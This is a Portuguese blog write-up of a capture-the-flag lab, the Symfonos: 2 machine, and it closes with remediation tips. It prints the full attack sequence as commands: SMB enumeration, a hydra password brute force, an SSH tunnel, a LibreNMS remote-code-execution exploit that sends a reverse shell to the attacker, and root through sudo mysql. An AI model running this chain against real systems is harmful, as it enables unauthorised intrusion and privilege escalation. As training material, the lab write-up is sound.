Pwning - Symfonos: 2

30 VMs em 30 dias [ 15 ] - Beco do Exploit

Mateus Taveira
7 min readDec 16, 2023

Descrição da Máquina

OSCP-like Intermediate real life based machine designed to teach the importance of understanding a vulnerability. SHOULD work for both VMware and Virtualbox.

Material de Apoio

Objetivo

  • A partir do IP da máquina, explorar vulnerabilidades que permitam acesso remoto
  • Conseguir privilégio root e encontrar a flag

Reconhecimento

Antes de pensamos em “como” atacar, precisamos pensar em “quem” atacar? No nosso caso, é uma máquina que já está na nossa rede, entretanto não temos a informação de seu IP, mas podemos conseguir isso com algumas ferramentas, como: netdiscover, arp-scan e nmap. E logo a primeira já nos serviu bem!

netdiscover -r <ip-rede>/<mascara>

Tendo essa informação, conseguimos nos comunicar, através da rede, com essa máquina, usando como vetor de ataque os serviços que estiverem rodando ali. Primeiro então precisamos descobrir quais são eles e quais suas respectivas portas. O nmap é a principal ferramenta utilizada para isso:

nmap -p- -sV -Pn <ip-addr>

Huum, vários serviços interessantes para tentarmos explorar… vamos começar dando uma olhada no HTTP apenas para saber do que se trata esse servidor?

Site mais minimalista impossível, não? Só uma imagem!

Certo, mas vamos antes de tentar explorar o HTTP, dar uma olhada nas possibilidades dos outros serviços que enumeramos? Geralmente o serviço Web é o que menos tem prioridade para exploração, visto que sua superfície de ataque na maior parte das vezes é enorme.

Que tal tentarmos acessar o FTP e o SSH com credenciais padrões?

É… não seria tão óbvio

Mas e quanto ao serviço Samba que estava rodando? Podemos usar a ferramenta enum4linux para enumerarmos as Shares quais temos acesso.

enum4linux <ip-addr>

Logo de cara é possível identificarmos que a Share /anonymous é listável sem necessidade de credenciais. Vamos tentar acessa-la? Para isso, temos o smbclient, que é capaz de listar o conteúdo de uma Share:

smbclient \\\\<ip-addr>\\<share>

Para a senha, deixamos em branco.

Curioso, uma pasta de backups exposta para qualquer um ver… vamos dar uma olhada no que tem dentro…

Um log.txt? Que maravilha, vamos olhar isso na nossa máquina:

Basicamente, boa parte do log é um cat do smb.conf e do proftd.conf. Dentre as diversas informações sensíveis, encontramos nas configurações do ProFTPd um usuário chamado aeolus. Que tal um Bruteforcezinho?

gzip -d /usr/share/wordlists/rockyou.txt.gz
hydra -l aeolus -p /usr/share/wordlists/rockyou.txt <ip-addr> ftp

Nesse caso utilizamos a famosa wordlist rockyou, entretanto, em um cenário real, a wordlist utilizada teria que ser personalizada para o contexto do alvo.

E tcharam!! Encontramos a senha para o usuario aeolus: “sergioteamo” kkkkkk

Agora, lembra que encontramos o serviço SSH rodando na porta 22? Será que a senha é a mesma? Ou é pedir demais…?

Nem te conto… ksksksksk

Agora, dentro do servidor, podemos ver se há algum serviço que não conseguimos enumerar anteriormente:

# Listar todos os sockets (ss -a) que fazem conexão TCP (-t), 
# sem resolver o nome dos serviços (-n) e filtrando por LISTEN
ss -a -t -n | grep LISTEN

Vemos então que está ouvindo localmente na porta 3306 (possível SGBD), na porta 8080 (possível HTTP) e na porta 25 (possível SMTP). Vamos tentar acessar a porta 8080 para ver se realmente está rodando um Website?

Para isso, como só estão sendo aceitas conexões locais do ponto de vista do alvo, podemos criar um tunelamento da rede interna dele para a nossa através do SSH:

ssh -L <L_port>:<R_ip-addr>:<R-port> <R_user>@<R_host>

Prontinho, agora temos acesso à porta 8080 da rede local do alvo através da nossa porta 4040 local! Que tal escanearmos esse serviço?

nmap -A 127.0.0.1 -p <porta>

Huuum, interessante… parece estar rodando um LibreNMS, que é basicamente uma ferramenta Open Source de monitoramento de rede. vamos acessar pelo Browser para conferir se é isso mesmo?

E sim, trata-se de um LibreNMS, e por incrível que pareça, conseguimos logar com as mesmas credenciais do SSH:

Bom, poderíamos procurar por vulnerabilidades Web, mas deixamos isso para as últimas escolhas, visto que a superfície de ataque é gigante. Sendo assim podemos, primeiramente, procurar por vulnerabilidades conhecidas. Uma das ferramentas feitas para isso é o searchsploit.

Encontramos algumas possibilidades de exploits e, por se tratarem de poucas, podemos testar algumas dessas opções mesmo sem certeza da versão do LibreNMS.

Então vamos copiar o exploit de RCE para o diretório de trabalho:

Esse exploit consiste em uma vulnerabilidade no momento de adição de um dispositivo na plataforma:

Em resumo, o campo “community” não tem filtros suficientes para armazenamento de dados que, ao serem requeridos, são executados em Shell.

Dessa forma, vamos utilizar nosso exploit para fazer isso:

python2 47044.py http://localhost:<porta> '<cookies-sessao>' <ip-shell> <porta-shell>

Para conseguirmos os Cookies de Sessão, basta acessarmos as opções de desenvolvedores (Ctrl + Shif + I), ou clicando com botão direito e indo em Inspecionar Elementos:

Assim, na área de redes, vamos na primeira requisição que encontramos:

Logo à direita irá aparecer os cabeçalhos da requisição, e no campo Cookie, copiamos todo o texto.

Com isso em mãos, basta preenchermos as demais opções do exploit e abrirmos uma escuta na porta que desejamos, para receber a Shell:

E executando o exploit…

Aháaaa!! E boom, estamo com outro usuário, ou seja, outras possibilidades para o próximo passo.

Escalação de Privilégio

Com um simples sudo -l, descobrimos as permissões do usuário atual em executar um binário com permissão de root, e nesse caso, temos permissão de executar o MySQL como root.

E se fizermos isso então?

Antes, vamos criar um terminal interativo com Python, e logo após executamos o binário do MySQL em /usr/bin/mysql:

Prontinho… E para conseguirmos uma shell de dentro do MySQL, é muito simples!

\! sh

E aqui está!! SOMOS ROOT AHAHAHAH

E quanto à flag… provavelmente no diretório /root como sempre:

Correção de Vulnerabilidades

  • Mantenha suas aplicações atualizadas e cheque periodicamente por novas descobertas de falhas;
  • Não armazene informações como usernames ou senhas em texto puro ou em locais não confiáveis;
  • Não dê permissão sudo para qualquer binário ou qualquer usuário sem que haja antes uma auditoria, por mais simples que seja, para verificar possíveis riscos;

Mas caso não esteja com paciência…

Exploração e Write-up feita com o Luís Santos. Acompanhe os próximos capítulos em nossos perfis!!

https://www.linkedin.com/in/mateus-taveira/

https://www.linkedin.com/in/luis-santos-defensive-security/

--

--

Mateus Taveira

💉Development runs through my veins. 🩸 Cyber Security is my blood.